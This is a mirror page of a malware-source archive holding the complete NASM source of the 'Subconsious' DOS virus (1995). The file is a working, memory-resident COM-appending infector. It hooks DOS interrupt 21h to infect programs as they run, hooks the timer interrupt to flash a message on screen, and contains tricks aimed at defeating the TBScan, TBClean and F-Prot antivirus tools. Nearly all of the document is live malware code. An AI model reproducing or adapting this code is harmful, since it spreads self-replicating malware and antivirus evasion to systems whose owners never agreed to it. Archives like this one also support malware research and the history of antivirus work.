mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
260 lines
6.9 KiB
NASM
260 lines
6.9 KiB
NASM
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; Subconsious virus, written by Conzouler 1995.
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;
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; This virus is based on RSV.208.
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;
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; Effect:
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; Flashes a text on line 4 on the screen.
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; The text is drawn once on the screen with
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; raster beam syncronisation. The after-
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; glow can make the text visible for a longer
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; period, especially when using black back-
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; ground.
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;
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; Features:
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; memory resident
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; com-append on execute
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; no tb-flags (of course)
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; no f-prot heuristics
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; untbcleanable
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; no destructive routines
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; no stealth
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;
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.model tiny
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.code
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org 100h
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psize equ (offset last - offset entry) / 10h + 7
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size equ offset last - offset entry
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entry:
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db 0e9h,0,0 ;Initial jump
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start:
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call gores
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delta equ $
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oentry db 0CDh,20h,90h
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gores:
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mov ax, 4277h ; Installation check
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int 21h
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jnc restore
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mov ah, 4Ah ; Get size of memory block
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mov bx, 0FFFFh
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int 21h
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mov ah, 4Ah ; Change size of memory
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sub bx, psize+1 ; Make space for virus
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int 21h
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mov ah, 48h ; Allocate memory
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mov bx, psize
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int 21h
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sub ax, 10h ; Compensate org 100h
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mov es, ax
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mov di, 103h
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mov si, sp ; Get entry point
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mov si, [si]
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sub si, 3 ; Subtract first call
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mov cx, size-3
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rep movsb ; Copy virus to new memory
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push es
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pop ds
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inc byte ptr ds:[0F1h] ; Mark owner of memory
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mov ax, 3508h ; Get interrupt vector
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int 21h
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mov i08o, bx
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mov i08s, es
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mov ah, 25h ; Set interrupt vector
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mov dx, offset vec08
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int 21h
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mov ax, 3521h ; Get interrupt vector
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int 21h
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mov i21o, bx
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mov i21s, es
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mov ah, 25h ; Set interrupt vector
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mov dx, offset vec21
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int 21h
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restore:
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mov di, 100h
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push cs ; Set es and ds to psp
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pop ds
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jmp next ; Clear prefetch queue
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db 'Subconsious virus - Conzouler/IR 1995.'
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next: pop si ; Get entry point
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mov byte ptr ds:si[offset debug+1-delta], 0; Fool tbclean
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debug: jmp nodebug
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int 20h
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nodebug:
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push ds
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pop es
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push di ; Save it
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movsw ; Restore program entry point
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movsb
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retn ; Jump to 100h
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db ' Mina tankar <20>r det sista som ni tar... '
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vec08:
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pushf
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push ax
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push cx
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push dx
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push si
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push di
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push ds
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push es
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xor ax, ax ; Get timer
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mov ds, ax
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mov al, ds:[46Ch]
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and al, 7Fh ; See if time to show
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or al, al
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jnz v08x
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cld
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mov ax, 0B800h ; Video memory
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mov ds, ax
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push cs
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pop es
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mov si, (80*4+20)*2 ; Centre text on line 4
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mov di, offset last
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mov cx, subsize
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rep movsw ; Save original
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mov dx, 3DAh ; Raster port
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vbl: in al, dx ; Wait for vertical retrace
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test al, 8
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jnz vbl
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vbl2: in al, dx
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test al, 8
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jz vbl2
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mov cx, subsize ; Put message on screen
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mov si, offset msg
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mov di, (80*4+20)*2
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push ds
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push es
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pop ds
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pop es
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disp: movsb
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inc di
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loop disp
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vbl3: in al, dx ; Wait for retrace to end
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test al, 8
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jnz vbl3
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mov cx, 5*16 ; Wait until 5 lines have
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hbl: in al, dx ; been read from video mem
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test al, 1
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jz hbl
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hbl2: in al, dx
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test al, 1
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jnz hbl2
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loop hbl
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mov cx, subsize ; Restore original screen
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mov di, (80*4+20)*2
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mov si, offset last
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rep movsw
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v08x:
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pop es
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop ax
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popf
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db 0EAh
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i08o dw ?
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i08s dw ?
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msg db 'LOVE LOVE LOVE LOVE LOVE LOVE LOVE LOVE'
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subsize equ $-offset msg
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vec21:
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cmp ax, 4277h ; Installation check
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jne v21e
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iret
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v21e: cmp ax, 4B00h ; Execute program
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jne v21x
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push ax ; Infect file
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push bx
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push cx
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push dx
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push ds
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mov ax, 3D82h ; Open file
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int 21h
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xchg ax, bx ; Put handle in bx
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push cs ; Read first bytes
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pop ds ; to oentry
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mov ah, 3Fh
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mov dx, offset oentry
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mov cx, 3
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int 21h
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cmp byte ptr oentry, 'M' ; Check if exe file
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je infectx
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push cx
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mov ax, 4202h ; Seek to eof
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xor cx, cx
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cwd ; Zero dx
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int 21h
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sub ax, 3 ; Get offset to eof
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mov word ptr entry[1], ax ; Save as jump
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xchg dx, ax
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mov ax, 4200h
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int 21h
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mov ah, 3Fh ; Infection check
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mov dx, offset last
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pop cx
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int 21h
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cmp byte ptr last[2], 0EAh ; Check if infected
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je infectx
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mov byte ptr entry, 0E9h ; Create jump opcode
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mov ah, 3Fh ; Append virus
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inc ah ; Fool TBScan
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push ax
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mov dx, 103h
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mov cx, size-7
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int 21h
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mov ax, 4200h ; Insert jump
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xor cx, cx
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cwd
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int 21h
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pop ax
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mov dh, 1h ; 100h in dx
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mov cl, 3 ; 3 in cx
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int 21h
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infectx:
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mov ah, 3Eh
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int 21h
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pop ds
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pop dx
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pop cx
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pop bx
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pop ax
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v21x: db 0EAh ; Jump to dos vector
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i21o dw ?
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i21s dw ?
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last:
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end entry
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